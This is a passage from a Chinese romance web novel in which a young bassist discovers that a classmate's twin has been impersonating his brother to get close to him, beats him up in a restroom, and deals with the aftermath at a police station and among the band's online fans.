又一首脍炙人口的怀旧曲,连柳承也会唱,收录这首歌的专辑一经发布就引起热潮,登顶当年乐坛所有榜单。 那一年,纪家四口人离开山村,纪羽裹着厚重的棉衣被抱在手上,窗外风景随着火车行进飞速倒退,上铺的女学生用CD机循环着这首歌,纪羽伏在纪泽兰怀里,就这么睡去了。 这是纪羽对过去为数不多的记忆。 也在这首歌里,他的焦虑和不安被慢慢抚平。无论什么事,都会过去,也都将得到解决。 现在,就先享受吧。 梁子尧的余光中,恍惚抽离的男生终于将思绪落到实处,逐渐恢复平和,在他眼中荧光汇成一个小点,在瞳孔深处闪动。 纪羽的眼睛一直都很亮,无论在台上,还是台下,像海浪翻起折射出的波光,跳跃着闪烁,刺目又朦胧。 就算掩盖在帽檐的阴影下,梁子尧也从没有放弃追寻这份光亮。 这是坚守者的报酬。 “大家一起来好吗,会唱的和我一起。”十二月的开始,主唱一身热汗,剩下的人也不好过,纪羽望向台上,一时恍惚仿佛也在其中,手腕发酸指尖发麻,肩膀沉重地下坠。 “别发呆,开始了。”老麦在队内语音提醒道。 “这么多人。”辽光感叹。 空旷的场馆一瞬间挤满黑压压一片,是模糊不清的欢呼尖叫,纪羽变得渺小,又备受瞩目,他向下看,在地面,看见了星河。 或许,有一天,承风也会站在那里。 承风的存亡、莫满的去向都会在这一年揭示。 “哥哥,他们换乐器了。”柳晓怡靠着纪羽的肩膀,“唱歌的也会弹琴吗?” 台上进入休息环节,不知怎么商量的,鼓手站起身抢了贝斯,贝斯手抓着麦克风,两个吉他手大打出手,其中一个一屁股在爵士鼓后坐下,主唱茫然地四处张望,键盘手好脾气地让出位置。 这是要交换位置了。纪羽等着看笑话:“会的,至少都会一点。” 柳晓怡亢奋道:“哦,那我也要学弹琴!” 纪羽垂眼看她:“好啊,你也要做主唱吗?” “对!”柳晓怡笑得灿烂,露出缺了一颗犬齿的白牙,“妈妈说我唱歌最好听,我年底要表演节目!” 纪羽鼓励了她两句,乐声就再度响起了。 不清楚主唱推了什么效果器,声音像放闷屁,鼓声铆足了劲地霹雳乓啷,贝斯节奏感很强,还有没抢到鼓的吉他手发了疯地加入solo,意外地还挺和谐,在一堆乱七八糟中,临时成为主唱的贝斯手终于发声,他模仿了主唱的唱腔,夸张地抒情,台下笑倒一片。 “他们声音好像啊,但是感觉还是不一样……”柳晓怡喃喃。 气息、咬字、发音位置、情感调整会影响听感,造成似曾相识的感觉,但唯独音色难以改变。 除了受到训练的人,大部分人的音色在短时间内都不会有太大的改变, 要辨别一个人,最简单的方式就是听他的声音。 外貌和行为会迷惑人,但声音永远诚实。 声音…… “只是摔了一跤还有点感冒……” “运动会前他不是这个发型,脸更宽一点明显减肥了,发色也染过了。” “你有没有觉得我的脸很熟悉?” “你记得我。” …… 纪羽心脏一阵紧缩,他猛然起身,在光线不足的场馆内也能看出他脸色不正常地发白,后排在嘴边的抱怨声变成了关切:“那个,你还好吗?” 纪羽引以为傲的听力暂时不起用,脑海里盘旋着呼啸的风声,带来寸寸龟裂的巨响,他投下的阴影将梁子尧的脸也罩住,梁子尧拉住他的胳膊,被他甩开了。 “小羽,你怎么了?”柳承弓着腰起身,抵住纪羽。 熟悉的声音令纪羽暂时回神,他淡声说没事,却猛然揪住梁子尧的衣领。 “我们先走了,不用等我。”纪羽留下这一句话,大踏步离开,梁子尧顺从地弯腰像被牵引着跟上,眼神却始终落在纪羽含着怒意的眼角。 啊,好像被发现了。 一件小小的插曲并未影响到演出,乐声仍然激昂。 场馆内的洗手间,大门被一道巨力合上。 后背撞上木板,梁子尧低头,对上纪羽亮得出奇的眼睛,他知道,那是愤怒。 “你不是梁子尧。”纪羽紧攥着男生衣领的手没有松开,手指因用力而呈现青白,他弹贝斯,自然力气也不会太小,绷紧的领口桎梏着喉咙,带来窒息的错觉。 “梁子尧”舒展眉眼:“恭喜你通关了。” 他用视线描摹着纪羽的眉毛、眼睛、鼻子、嘴,因为压抑着情绪而格外生动,“我还以为要再多给你一点提示。” 他的反应彻底应证了猜想,让虚浮的故事成为可怖的事实。 “你玩我?” 纪羽感觉自己的胃在涨大,事物争先恐后地试图涌出,喉咙的紧缩带着太阳穴不断地跳动。 他感觉自己被愤怒填满,快要炸开。 “你他X的到底为什么要那么做?你是从什么时候开始注意我的,我有什么地方值得你几次三番地接近我,用这种方式来耍我!” “耍你?” “梁子尧”的手搭上喉间纪羽的手掌,完全地罩住了,纪羽的手指触摸到“梁子尧”跳动的喉结,皮肤湿黏,像触碰到被剥去鳞片仍在挣扎的鱼身,高甩着尾鳍,在案板上弹动。 “别碰我!”纪羽陡然抽回手,掌心在“梁子尧”下巴上擦过。 “哦,好的。”他靠着门板站直,衣领皱乱,却浑不在意,姿态松散地抬起手,“我不碰你。” 纪羽退开两步,感受着呼吸抖动,他闭眼,青绿的光斑在眼皮上晕开。 他再度回想起那个梦,焦点不再是令人啼笑皆非的混乱关系,而是最后扑在他身前,咧开嘴笑的孩子。 原来提示早就出现,潜意识替他警醒。 将这些串联起来,答案显而易见。 是不是他真的很蠢,被人当乐子玩了这么久才发现。 在他眼里,他是不是很可笑? 纪羽冷静下来,乐声震动,仅仅隔着一道墙,纪羽再也没有心情去听,宛如大病初愈的面容中残余的不仅仅是愤怒,还有疲惫和厌倦。 它们在纪羽的躯干里翻涌、拍打,甚至灼烧着咽喉,纪羽忍耐着睁开眼,看到“梁子尧”的一瞬间,他忍不住吐了。 隔间里响起冲水声,“梁子尧”才拍响了门板,声音里的从容消失不再,光是想起纪羽数分钟前仿佛要将器官都呕出来的声响都让他面色冷凝。 “我们可以谈谈。” 这一处狭窄的地方气味不佳,灯光炽白甚至于惨白,还有过于嘈杂的声响,绝不是个交谈的好地方。有人进入,无意间触及到“梁子尧”冰冷的神色,又夹着双腿扭身跑了。 锁开了,纪羽拉开门,走到水池边,捧起水漱口,镜子里照出他通红的眼睛,那是生理反应的刺激。 “说什么?” 他抽纸巾擦干双手,将纸团扔进垃圾桶,转过去正视那张总是阳光洋溢的脸。 “我知道你的答案,因为很有趣。不是吗?莫满。”—— 作者有话说:假期好痛苦,没完整时间码字>-< 70-80 第71章 “莫——满?” 公园里人声鼎沸, 孩子呼朋引伴,老人用背撞击大树,男孩坐在秋千上, 上升时将腿踢出,回落时收起, 荡得越来越高。 呜啦啦的风灌进嘴巴,男孩声音用力地说:“我叫纪羽,对称的羽, 不对, 是羽毛的羽。” “你的名字很好听。”莫满说,他蹬腿, 秋千也荡不了多高, 他看着纪羽像飞起来一样越升越高。 真的像长着羽毛那样。 秋千架吱呀个没完。 “贺思钧,我停不下来了!”纪羽大喊。 又一个男孩冒出来, 他刚刚还不在这儿, 受到召唤才现身似的,手里提着便利店的袋子。 秋千停下了, 纪羽的腿悬在半空中, 明显意犹未尽地蹬了一下地,慢慢晃着, 扭过头问:“你要玩吗?” 贺思钧拒绝,纪羽就转身对着莫满说:“那我再教你一遍怎么荡哦, 小m……小马。” 莫满认下了这个错误的名字, 他没有家里人起的昵称, 从一个足够漂亮可爱的新玩伴嘴里得到一个有趣的名字,还不错。 莫满很喜欢这个新玩伴,纪羽不会挖鼻屎抹到人身上当作玩笑, 手上永远是干干净净的,说话的声音也很好听,没有突然的尖叫和愤怒,除了有一点挑剔,其他堪称完美。 但没关系,莫满也是一个挑剔的人。 比起和他长得一模一样的弟弟,他还是更喜欢新认识的朋友。 唯独有一点不好,交朋友也有附赠品。莫满不太喜欢他和纪羽相处时还跟着一个小孩,处处需要纪羽关心。 莫满明显地体会到差异,纪羽对他的,和对那个小孩的。 他觉得反感,就像妈妈即便和那个男人分开,还在记挂着她的另一个孩子。 ——“你弟弟在这就好了。” “贺思钧还没有来呢,我要等他。” 纪羽执拗地不肯走了,莫满有些着急:“我的秘密只想告诉你,你先跟我来,晚点再去找他。” 纪羽看着他,倔强地呶起嘴巴:“那我不要知道了,你不要告诉我秘密了,我会害怕。” 纪羽不懂如何描述心情,将所有的不适归结于害怕。 莫满想向他说自己有多怨恨世界上还有另一个“他”,他丧失了自己最珍贵的东西,他想能有人懂,纪羽就是那个最佳人选,他绝对不会轻视自己的感受,就像他能读懂贺思钧平淡表情中的所有情绪。 只是纪羽拒绝了,他的好不向他敞开,莫满来得晚了,纪羽和贺思钧之间没有缝隙留给他挤入,他对纪羽来说不独特,他们之间的联系太少了。 但总要继续深入下去,总会是不一样的,就像母亲也会偏爱某个孩子,平衡的天秤最终也会倒向一边。 莫满决定转变思维,现在这条路行不通了,他得再想一想,纪羽会喜欢怎么样的朋友呢?他会让纪羽喜欢他的,他很擅长做这种事,就像妈妈已经很少再提起弟弟。 只是一切还没来得及开始,纪羽就再也不出现了,或许是厌倦了公园里无聊的游戏,也许是觉得他作为朋友无足轻重,但也可能是他生了什么病或是搬家离开了这里。莫满等着一个解释,他守着家中的座机,他在纪羽的口袋里塞了纸条,无论如何,纪羽都会拨来的。 可惜等到座机被拆除,属于纪羽那通电话也始终没显示过。 对于童年来说失去一个满心期待交往更深的朋友大概足够刻骨铭心,但几年后再看,也没什么值得难以释怀的。 莫满决定出国,到另一个城市生活。 离开前,他无意间发现了一个小惊喜。 当年的小男孩居然和他有着相似的爱好,并把自己裹得严严实实站上了舞台,身边跟着的人仍然没有变。 纪羽心软地留了一个最大的破绽,这才让他被自己抓住,这怪不了他。 莫满渐渐搜集起纪羽的消息,权当消遣,他没有任何要急躁的地方,因此心情也足够愉悦。 他想,他们是很适合做朋友的,他的再次出现也一定会给纪羽一个意想不到的惊喜。 纪羽会发现自己原来和他会是那么契合,届时他的离开,会是一个同等的报复。 他等待着和纪羽见面的时机,直到他发现一个足够撑得起久别重逢的机会。 一切都刚刚好,莫满期待着纪羽找到他。 但被叫出名字的那一瞬,他好像没那么欣喜。 “这次你叫对我的名字了。”莫满说。 “哈。”纪羽从胸膛里挤出笑来,苍白的脸上带着浅淡的讥讽,“不是你一直在盗用别人的身份躲躲藏藏吗?” 莫满脱去了伪装,与梁子尧十足相似几乎看不出差异的脸上自然而然透露出傲慢的漠然:“我没有伤害你的意思,纪羽。” 他紧接着说:“我没有害你,不是吗,我没有真正地伤害你,我替你上台,我装作梁子尧接近你,这是错吗?” “我有求你这样做吗!”纪羽叱问道,“是我求你装成我的样子挤进我的乐队,拿着我的贝斯参与演出吗? “我有求你纠缠着我,几次三番地骗我,看着我像个白痴一样追着你找你吗? “你是不是很得意,看到我怀疑梁子尧又没办法找出证据,一头被胡萝卜吊着的蠢驴很有喜剧效果吧?你一定看得很爽快,觉得自己操控了全局,所有人都被你骗了个遍,真是好了不起。” 纪羽以为他会说不出这些话,因为他实在很累,厌烦的疲倦感席卷全身,让大脑也变得钝涩,他很想找一个角落藏起来,但在这里他无处可躲,只能听着莫满的诡辩,一寸寸点燃内心潮湿的愤怒。 他站得笔直,发现莫满也没什么不一样,他不是来无影去无踪的鬼怪,也不是高高在上他无法触及的大人物,他就和自己年龄相仿,有着更低劣的品行,疯子一样的思维,自我到令人作呕。 看着他,纪羽只觉得滑稽可笑。看啊,他就是被这种人玩弄了整整五个月,他的噩梦他的徘徊在这个人面前不值一提,只是成为了游戏的一环,关卡中的赠送礼包。 恶心感迟迟无法平复。 再待在这,他还会吐出来。 “不管你想要什么,都到此为止,我不会再奉陪。” 纪羽按下门把,门向内打开,又被一脚关上。 莫满这一脚踹得很重,门关上时的响声甚至盖过了鼓点,整面墙都在抖动。 手指像被抽了一记,钢制的把手在指节处勒出一道红印。 疼,如果没有及时松开手,说不定会脱臼甚至骨折。 这是他拨弦的手。 纪羽转身向莫满头脸挥出一拳。 指节和颧骨哪个更硬? 纪羽觉得自己的拳头最硬,莫满趔趄一步后退,不待反应,又是一拳砸来。 厕所的地面打扫过,洁净得反光,但它到底还是厕所,倒地的一瞬莫满似乎能闻到溅到地面的尿骚味和拖把残余的水腥气。 纪羽压在他身上,坚硬的膝盖骨顶着上腹,沉重且不适,但莫满无暇顾及,纪羽红着眼向他脸上砸拳头,颧骨一定是青紫了。 “反正你不要脸,那把脸砸烂了好了,你个傻吊,神经病,脑残,我下辈子都不想再见到你!” 纪羽没学过打架,徐梁曾怕他受欺负,送他学跆拳道,纪羽进教室问教练的第一句话也是唯一一句话:学这个能打过纪律吗? 教练不知道纪律是谁,只对他说,任何拳脚功夫都不能用来伤害人,打人是不可取的。于是纪羽立刻退课再也没去上过。 从小到大,纪羽不认识什么校霸,没见过小混混,受过最重的伤是和纪律打架时,不小心打碎杯子被碎片割到脚。 纪律一只手就能制住他,纪羽从没想过手指紧握砸到人脸上是这样的感觉。 心中的浊气随着莫满面颊淤青的扩大而减少,莫满没有反抗,沉默地接受了纪羽的暴行。 手指肿痛,纪羽没有管,他放弃单方面的殴打,拎起莫满的衣领,手臂轻微颤抖:“说话啊,你不是很会说吗!” 莫满张开嘴,牵扯了面部肌肉,纪羽看着他眼皮生理性抽动,短促地笑了一声。 “无论我说什么,你现在都不会喜欢。” 纪羽放手,让莫满的脑袋砸回地面,起身时在莫满的腹部毫不留情地用力压了一下,听到他的闷哼后才抽腿站直。 “不。” 莫满横躺着,侧头看着纪羽走到洗手池,挤了满满一掌心的洗手液,浓烈的香精味充斥着鼻腔,纪羽认真地搓洗指缝。 “不是你现在说什么都没用,而是你永远都会是我最讨厌的那一个,恭喜你。” “你以为梁子尧就无辜吗?” 莫满手肘撑地慢慢坐起,看向纪羽的目光浓厚到化不开。 纪羽冲洗双手,然后将水珠尽数洒到莫满脸上、身上:“我现在不想听你说话了,你就一个人待在这里吧。” 他重新打开门,身后的声音如鬼魅般缠上,“你猜,以前你见到的‘梁子尧’,是我,还是他?” 纪羽瞳孔紧缩。 门外,是梁子尧沉冷的脸—— 作者有话说:战斗小鸡 第72章 演出到了散场时分, 私家车辆被拦在数百米外,车尾灯连成红海。 “这么多车,早知道不来了。” “系统派单取消不掉大爷的, 我再接演艺中心的单我是狗。” “堵死喽,熄火好了啦!后边摁喇叭的傻不傻嘛, 哪里是我们不想走哦。” 纪律关上车窗,将怨声隔绝,车内播放情感电台, 纪羽上车时调的, 那时频道内还在讲趣事新闻。 电台也一并关闭,纪律再次拨打纪羽手机, 一段纪羽精心挑选的来电铃声后, 电话被转接至语音信箱。 直到先行退场的观众走出场馆,纪羽的电话仍然没有接通。 连串鲜红的未接通标识倒映在黑色车窗, 要是有人经过向车内张望, 一定会被纪律的脸色吓得屁滚尿流。 沉怒在车内滋蔓。 纪律狠掐眉心,他可以允许纪羽偶尔叛逆, 脱离掌控, 像是不提前报备去向,关掉定位, 偷吃些有的没的。 但也仅限于此。 纪羽根本不懂得人际交往,也不懂怎么保护自己, 别人对他时好时坏, 他记人好就忘记了他的恶劣, 遇到问题只会像只纸老虎虚张声势。 弱小的东西没有值得喜爱的地方,可纪羽偏偏就与强壮、坚强背道而驰,所以不得不在他身上倾注更多关注。 涌出来的人越多, 纪律心中越是急躁,车辆缓慢移动,在庞大的人流量中也不够看。 纪羽万一在人群中摔了一跤或是被碰了一下呢? 这么多双脚在地面移动,纵然是一只鸟也飞不起来。 纪律开始头痛。 就在这时,一通陌生来电响起,纪律立刻接起。 “你好,我是宏升街道派出所民警,你弟弟涉嫌聚众斗殴现在在我们所里,麻烦你尽快过来一趟。” 派出所。 聚众斗殴。 纪羽? 纪律沉声道:“马上到。” 民警挂断电话,对身形看起来格外单薄的少年道:“你哥哥说马上到,情况我基本都了解了,你先在这里休息一会儿,等你们双方监护人到了再一起协商吧。” “好,谢谢,可以给我的手机充下电吗?” “可以,但手机还不能给你。”民警注意他指节红肿,“需要处理一下伤口吗?” “不用了,”纪羽将双手放下桌面,很乖巧的模样,“谢谢你。” 要不是被报警的另外两人鼻青脸肿,纪羽除了手上半点伤没有,恐怕民警都会认为纪羽是这起事件中最无辜的受害者。 三人都刚刚成年,报警人是演艺中心的安保,据他说,有观众捂着裆叮铃哐啷地朝他跑来说有人堵厕所不让进,他过去一看。 哦豁。 地上躺两个还在撕巴,还有一个准备潜逃,和他大眼瞪小眼。 勉强控制住场面,把地上两人分开一看。 哦豁。 双胞胎。 一个腿瘸,一个头脸青紫。 这两人都称自己的伤与纪羽无关,并拒不配合通知家属。 纪律最先赶到。 派出所灯火通明,门口两个醉汉挥舞拳头,被警员拉开劝导,有人在门口过道上坐着哭,问询台几个年轻人言辞激动地比划,大厅内几乎没人腾得出手。 纪律回拨电话,没多久一个年轻民警急匆匆跑出。 “纪羽的家属?” 得到肯定的点头后,他走在前头带路。 “他不肯和其他人一起待着,所以我们暂时让他在询问室休息,具体情况您可以先和他谈一谈。” “嗯。”地砖表面裂了纹,渗进擦不净的灰黑污垢,脚步落下有轻微的胶粘感,“我有几个问题。” “您可以说。” “我弟弟有没有受伤,对方有几个人,斗殴是如何定义的,过程中有没有使用器械,还有对方目前的需求是什么?” 既然是通知他来派出所而不是医院,纪羽的情况应该不算糟,但纪律提前通知了爱山准备接诊。 民警迈步稍顿,语焉不详:“呃,纪先生你还是先和你弟弟谈谈吧。” 纪律皱起眉,严重怀疑这个派出所的业务能力。 如果他能靠和纪羽交流获得这些信息,又何必多此一举发问呢,他不是关心则乱的那类家长,只不过是猜测纪羽又会犯一些不必要的毛病,充当鸵鸟一言不发或是梗着脖子犟嘴,只懂得宣泄情绪。 但尽管他这么想,却不会真的把这些看法对外人说出口,纪律在民警停下脚步时先一步推开了门。 纪羽抬头看过来,纪律也在趁此观察他。 纪羽看起来没受伤,脸色有些苍白但脸颊很干净,身上也没有沾上尘土或是血迹,衣服整洁。 但纪律觉得他一定吓坏了,不然纪羽怎么会抓住他的手臂像受了极大的委屈,用这么可怜的姿态迎接他的到来呢。 他摸了摸纪羽的额头,在相邻的座位上坐下。 纪羽把手放到桌面上,一言不发地睁大眼睛看着纪律,纪律伸手,他就把手搭到纪律的掌心露出指节上的伤。 像捧住了一只小鸟。 纪律问:“怎么弄的?” 纪羽:“打架。” “聚众斗殴至少三人,你和几个人打?” “两个。” 纪律不认可又秉持着怀疑态度问:“你一个人打两个?” 纪羽点头:“我先打一个,再打一个。” “他们还手了吗?” “没有。” 纪律扫一眼房间边缘的民警。 “为什么动手。” “因为我想。”纪羽说,“他们活该。” 他把最后几个字咬得很重,纪律判断他要哭了,因为纪羽总是在放过狠话后哭得一塌糊涂。但这次没有。 “他们骗我,是他们惹我,不是我的错。” 纪律看着他,不置可否。 纪羽握紧了拳头,感受指节皮肤拉扯的痛,他不后悔。 “我不要调解,我打人可以承担结果,你要说难听的话可以等到我出狱之后说。” 纪羽也不知道为什么要拨出电话的时候,填上了纪律的号码,而不是一定会无条件支持他的纪泽兰和徐梁。 纪律充满着不确定性,纪羽有时能感受到他爱自己,有时候又觉得自己是被放弃的。 像这样的大事,他一定会受到纪律的批评,但比起这他不甘愿接受的责备,他宁愿去承担起殴打莫满的罪责。 “你还想坐牢?”果然,纪律冷冷笑一声,“胆子养得越来越大。” 纪羽抽一下鼻子,有点鼻塞,说话闷闷的:“这叫敢作敢当。” 纪律额角一跳,觉得纪羽又有了生病的征兆,不能再在这里拖下去,于是转而向民警道:“我们聊好了,另外两个人在哪,我需要直接见面谈。” 民警:“你确定结束了?”他没听出来两人商量了什么对策。 纪律不想重复,纪羽不喜欢场面变得尴尬,于是接口道:“我们说完了。” 他们被安排在调解室见面。 莫满先开门进入,随着时间推移,他脸上的淤青伤口没有经过处理,肿得更高,满脸像调色盘似的。纪羽扫了一眼就偏过头去,他没往人额角下手,只能是梁子尧砸的,这一处伤怪不了他,得在鉴定结果里标明才行。 纪律看着那两人一前一后进来,面容极其相似,且都不约而同将目光投向了他身侧的纪羽,只是神情大不相同。 这种眼神,令纪律相当不快。 纪羽率先开口:“他的腿不是我打的。” 这个“他”没有指明是谁,梁子尧已经迫不及待应声:“我已经向他们说清楚了,这不是你的原因。” 纪羽回以一片沉默。 莫满施施然拉开纪羽对面的椅子坐下:“我们算不上聚众斗殴,从头到尾,没有三个人同时动手。” 他对纪羽笑了一下,笑容被挤压得扭曲:“我们顶多是有点纠纷,你打我,我没意见。” 他指相隔甚远的梁子尧,示意民警:“那个,也是后来自己找来讨打的。” 他摸上肿起的脸颊,讽刺地看着梁子尧脸上零星几块淤青道:“虽然纪羽下手是有点偏心,但应该也不算什么需要警方介入的大事。” 民警打断道:“那你们俩打起来是怎么一回事?” 莫满毫无温情:“亲兄弟之间看不惯对方不正常吗?我们家庭看起来很和睦?” 那确实没什么好质疑的。 古往今来手足相残又不是什么稀罕事,再往前推一千四百年,还有人心一狠直接把兄弟都屠了的呢。 民警不评判家庭和睦与否:“那你的意思是,纪羽先后分别打了你和他,你们不想追究责任,后来你们俩互殴属于临时起意,纪羽也没有引导并插手,是这样吗?” 纪律冷声开口:“刑法中指出轻伤以内的伤害承诺通常是有效的,既然这两位都是自愿的,而且两位的伤情恐怕也够不上轻伤,那这件事确实可以到此为止了。” 莫满:“我也是这个意思。” 梁子尧自答过纪羽的话后就一言不发。 他隔桌看向纪羽,纪羽靠着椅背,双手垂在腿面,垂着眼,对一切都显得漠不关心,其实自他进门起,纪羽就再没抬起眼睛正视过他。 或者说,是他们。 这张脸就那么令他厌恶吗? 连看他一眼,对他好好的说一句话都不肯?对莫满,他甚至还有怨言可以说,却不肯给他解释的机会! 他不该受到莫满的牵连,他是可以取得纪羽的谅解的。 梁子尧急于与莫满划清界限:“纪羽,我……” 纪羽身侧的男人挡住了他,堵死了梁子尧的视野。 “那好,现在我们来谈一谈你们对我弟弟造成精神损害这件事。”—— 作者有话说:哦豁 第73章 夜里起了风, 落叶卷曲着滚动在地,脚步重重踏过,枯黄染上浅褐。 纪羽出了派出所, 裹住一身寒气,碎发飞起在空中, 耳廓冻得通红。 “嗯……马上回来…没事……我知道……”纪泽兰关切的声音从纪律手机里传来,换了以往,纪羽都要抢过手机嘀嘀咕咕的, 只是今天实在没心情。 远处的灯光都已歇了, 路灯一截一截照亮路面,也将奔来的人影照亮。 纪律余光注意着神情不属的纪羽, 免得一错眼纪羽踩空了台阶, 摔滚下去。 下一秒纪羽就挣脱纪律牵着他衣袖的手,跑下台阶。 纪律下意识要拉回他, 看清来人后还是没有阻拦。 纪羽撞在贺思钧身前。 “我…你给我打电话的时候我没有听清, 我现在知道了,我还把他揍了一顿, 我都知道了……我被骗了………” 纪羽语无伦次, 鼻音越发重,全靠贺思钧撑着他两边胳膊, 他才能稳稳站直。 “对不起。”贺思钧的喘气声很重,外套上还有火车车厢中混乱的气味, “我可以早一点查到。” 纪羽摇摇头, 眼神落在地上, 紧抓着贺思钧的外套:“再早能早到哪里去,他早就盯上我了,他是个变态, 你知道吗,他有病!” 纪羽满心的怨愤终于有了出处,他暂时没有余力向纪律解释他愤怒的源头,也不奢望纪律会理解他,尽管纪律在这件事上对于他的维护已经超出了他的预期。 纪羽需要一个对所有事情知情的对象毫无怨言接住他所有情绪,他做不到自我消化,情绪快要操控他。 贺思钧声音镇静地问他:“你怎么会在派出所?” 他向贺思钧一股脑地倒出:“我本来不想动手的,但是莫满很得意,他向我炫耀他自己有多聪明,他不让我走,一直在挑衅我,我就打了他的脸,然后,然后梁子尧也来了,他们长得一模一样,我其实根本就认不出来,他们一直在耍我,我不知道我见到的到底是谁,我一点都不知道!” “小羽,”贺思钧牵着他走到树后,“没关系,你可以慢慢说,我本来就是想回来告诉你这件事。”凛冽的风声稍歇,纪羽能听到贺思钧的声音清晰有力。 他缓一口气,接着说:“我回过神来我已经在打梁子尧了,他们俩都倒在地上,我觉得好恶心想走掉,他们两个人又打起来了,保安听到声音过来报了警。” 贺思钧直接地下了定论:“你是无辜的。” 纪羽听到这神色微变,蹙紧了眉头,僵涩道:“已经撤案了。” 贺思钧道:“莫满有在精神科就诊的记录,他很不稳定,不能用正常人的思维去理解他,可能是基因问题,梁子尧也不一定——” “你别说那么大声!”纪羽忙捂上贺思钧的嘴,“这是在警察局!” 贺思钧顺从地点头,纪羽才放开手:“你不要被别人知道你在查这些,行不行?” “好,我有定期清理记录,不会被人发现。” 纪羽:“决赛的那一天,来的人是莫满还是梁子尧?” 贺思钧:“梁子尧当天的定位不在宁海。” 所以那一天只能是莫满,拿着他仿制的贝斯,站上了承风的舞台,然后大言不惭地向纪羽说:“我帮了你。” 莫满受伤更重,纪羽没打错人。 梁子尧也不无辜就是了。 “之后怎么办,纪律说要替我起诉,莫满根本不怕,我不想就这么放过他。” “起诉?” “嗯,纪律说什么精神损害,我也不知道他有什么证据……打架的话我们已经签了和解协议……”说着,纪羽抬起头,“他猜到了。” 所谓的起诉不是针对今晚的混乱,纪羽没那么脆弱会因为一场普通的斗殴就受到打击,纪律要为纪羽争取的是他的自尊。 纪羽喃喃:“我没有和他说过关于决赛的事……” 贺思钧很快意识到:“他可能看过那个视频。” 纪羽傻傻地:“哦,难怪他没有骂我。” “叭。” 鸣笛声后,车辆滑过纪羽身前,纪律降下车窗:“还打算在外面抱多久?上车。” 明明没有抱,他们在聊正事。 纪羽团进后座,后知后觉觉得冷,接连打了好几个喷嚏。 贺思钧:“抬手,脱衣服。” 纪羽被暖气熏得迷迷瞪瞪,紧了紧外套:“我冷,不脱。” “脱了舒服。”纪羽没怎么反抗,就被贺思钧架起来解开外套,露出里边穿着的粗针织毛衣。 脱了一件身上还是裹得厚实,难为他穿着这一身衣服还能施展开。 “啊!”纪羽叫一声,“好痛,有静电。” 纪律打高空调,看着贺思钧轻车熟路地翻出毯子,裹到纪羽身上:“打人的时候不痛,现在知道喊了。” 纪羽立刻进入呛声状态:“打人和被打又不一样,我被静电打了,你还说风凉话。” “这个笑话不错,回去讲给爸妈听。” “不要!”纪羽打了个喷嚏接着说,“不能告诉他们。” “怕我破坏你在家里的小白兔形象?你什么样子爸妈知道得一清二楚。” “才不是因为这个。”纪羽接过贺思钧递来的纸巾擤鼻子,“我不想总和他们说不高兴的事。” 徐梁和纪泽兰再怎么身强体健,也已经年过半百,前半生寄人篱下摸爬滚打,结婚生子后也停不了奔波,光是撑起家能给纪羽富足的生活已经很不容易,纪羽想他没什么可以回馈的,就少索取一点。 这件事,他们没办法替他解决,说了只会让纪泽兰着急。 纪律只道:“下次别自己动手,手机买给你不是摆设。” 纪羽:“我手机没电关机了,我睡着前明明叫你帮我充一下的。” 纪律:“我没听到。” 纪羽:“所以都怪你。” 看在纪羽快要感冒的份上,纪律没和他掰扯。 在医院量过体温,没发烧,医生只给开了药,纪羽在回程路上吃了药,胃里有点烧,纪律下车给他买粥,他转移注意力跟着贺思钧讲话。 “你到底去哪了?” 贺思钧看他不舒服,话说得也很简短:“京市,我接了别人的活,那边有信号屏蔽,只能用内部网。” 这是解释了为什么这些天没能发消息回来。学习不成,玩电脑倒是挺溜的,还接活,像雇佣兵似的,纪羽撑着眼皮:“那钱呢。” 贺思钧:“我拿到了才回来,借他们的权限查了一点东西。” 纪羽:“所以你查到莫满和梁子尧的关系了,你不知道吧,当时莫满就在我边上的位置坐着。” 说到这,贺思钧想起那嘈杂的背景音,起初他以为只是火车上信号不好:“小羽,你当时在哪里?” 纪羽伸着五根手指晾药膏:“……在外面。” “你和他一起去了演唱会。”贺思钧说。 “你怎么知道的?” “……” 纪羽慢慢坐直,直直盯着贺思钧:“我都忘了,我都没告诉你我在派出所,你马上就赶来了。” 贺思钧不该对纪羽问出:在哪儿? 因为他明明就有答案,才能脱口而出。 “你有我的定位,我从来没有把权限同步给你。” 贺思钧垂下眼睛,错开对视:“你的手机关机,我担心有什么意外。” 清脆的一下。 贺思钧脑袋上挨了一巴掌,纪羽对着他毫不客气:“你自己欠打。” 他甩手,贺思钧的头发扎得他手心疼。 这一动手这件事就算过去了,贺思钧已经很自然地转移话题:“我带了礼物给你。” “……你不是干活吗?” 贺思钧从随身的黑包里掏,摸出一块用袋子层层包好的硬物,活像老头老太太从怀里掏贵重物品。 纪羽垂下手,有点心软:“这是什么?” “移动硬盘,很好用。”贺思钧把袋子叠好塞回包里,“是我向他们买的,不是要的。” 那还真是很实用的伴手礼…… 纪羽最近在学编曲,已经记满了好几个本子,电脑上废曲把C盘D盘都撑爆了也舍不得删,往后只会添得更满,纪羽确实用得上。 “还有。”贺思钧又从胸口摸出一盒水滴形拨片,“是你之前说的那种吗。” “我又不是辽光,怎么买那么多。”纪羽嘀咕一声,摸了一片拨片到手中把玩。 “我要和他们说我找到那个贝斯手了吗,会不会显得我很笨,那么久才发现。” “不会,你不笨。” 纪羽捏着拨片哼哼:“你说了不算。” 贺思钧不说话了,他现在知道纪羽有时候并不是想从他这里得出最终答案。 黑夜里云层的飘动轨迹并不清晰,不过偶尔月亮被遮住,光亮就少一分。 纪羽问:“你说明天来上学的会是莫满还是梁子尧?” 他自言自语:“早知道就该再下手重一点,让他们都见不了人。” 贺思钧板正冷硬的五官在侥幸逃出云层的月光下显得有几分柔和:“下次让我动手吧,我下手比较重。” “你就是头脑简单,四肢发达。” “嗯,我还受未成年人保护法保护。” “……你也去精神科挂号吧。” 第74章 微博。 【承风WinG:发布图片】 人数不多的粉丝群顿时炸开了锅。 【??发公告了】 【采取不当手段接近并骚扰成员?私生我靠!】 【胆真大啊, 敢追这群人,我记得上次有个乐队的私生直接被扭送公安局了。】 【到底是哪个成员啊,谁写的稿屁都说不清楚, 无语了……】 【是谁不重要吧,重要的是这件行为很恐怖啊, 说什么一直借身份便利接触,支持追究到底!】 【如果是老麦一只手就能把人掀飞出去吧,谁敢靠近?】 【那也不一定吧, 老麦人还是挺好的, 可以说是哥几个里最好说话的人了。】 【这话别让辽光看见了,不然他又要顶号发酒疯。】 【永光啊, 就凭你这张嘴就能把人烦死。】 【那是谁?贝旬和阿雀??】 【不会是阿雀身边那个男的吧, 听说从出道开始就一直跟着,借身份便利干点什么事感觉很合理……】 【别感觉了行吗, 通告里不都说了是近期, 而且老粉都知道木头哥很听阿雀的话,根本不是那种人, 能不能别莫名其妙开始阴谋论了, 无语。】 